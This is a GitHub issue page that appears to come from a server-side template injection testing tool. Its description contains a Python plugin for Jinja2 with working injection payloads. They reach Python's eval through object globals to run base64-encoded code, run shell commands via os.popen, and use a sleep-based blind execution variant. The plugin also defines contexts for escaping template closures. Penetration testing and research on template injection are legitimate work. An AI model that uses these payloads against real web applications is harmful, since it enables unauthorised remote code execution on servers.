-
Notifications
You must be signed in to change notification settings - Fork 138
Open
Labels
awaits confirmationThe issue is supposed to be resolved, but requires some testingThe issue is supposed to be resolved, but requires some testingbugSomething isn't workingSomething isn't workingenhancementNew feature or requestNew feature or request
Description
from plugins.languages import python
from utils import rand
from core import bash
class Jinja2(python.Python):
def init(self):
self.update_actions({
'render': {
'render': '{code}',
'header': '{{{{{header[0]}+{header[1]}}}}}',
'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}',
'test_render': f'{{{{({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})|e}}}}',
'test_render_expected': f'{(rand.randints[0],rand.randints[1]*rand.randints[2])}'
},
'evaluate': {
'evaluate': """{{{{self.__init__.__globals__.__builtins__.eval(self.__init__.__globals__.__builtins__.eval('__import__("base64").urlsafe_b64decode("{code_b64}").decode()'))}}}}""",
'test_os': 'sys.platform', #__import__("platform").platform()
'test_os_expected': r'[a-z]+'
},
'execute': {
'call': 'render',
'execute': """{{{{namespace.__init__.__globals__.os.popen('$(echo "{code_b64}"|base64 -d)').read()}}}}""",
'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
'test_cmd_expected': rand.randstrings[2]
},
'execute_blind': {
'execute_blind': """{{{{namespace.__init__.__globals__.os.popen('$(echo "{code_b64}"| base64 -d) && sleep {delay}')}}}}"""
},
})
self.set_contexts([
# Text context, no closures
{'level': 0},
# This covers {{%s}}
{'level': 1, 'prefix': '{closure}}}}}', 'suffix': '', 'closures': python.ctx_closures},
# This covers {% %s %}
{'level': 1, 'prefix': '{closure}%}}', 'suffix': '', 'closures': python.ctx_closures},
# If and for blocks
# # if %s:\n# endif
# # for a in %s:\n# endfor
{'level': 5, 'prefix': '{closure}\n', 'suffix': '\n', 'closures': python.ctx_closures},
# Comment blocks
{'level': 5, 'prefix': '#}}', 'suffix': '{#'},
])```
Metadata
Metadata
Assignees
Labels
awaits confirmationThe issue is supposed to be resolved, but requires some testingThe issue is supposed to be resolved, but requires some testingbugSomething isn't workingSomething isn't workingenhancementNew feature or requestNew feature or request